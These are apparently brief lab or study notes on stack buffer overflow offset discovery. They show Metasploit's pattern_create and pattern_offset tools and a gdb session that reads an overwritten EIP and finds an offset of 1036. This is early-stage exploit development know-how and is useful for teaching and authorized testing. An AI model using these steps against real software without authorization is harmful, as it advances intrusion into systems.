Overflow
Offset
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
(gdb) info registers eip
# eip 0x69423569 0x69423569
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
# [*] Exact match at offset 1036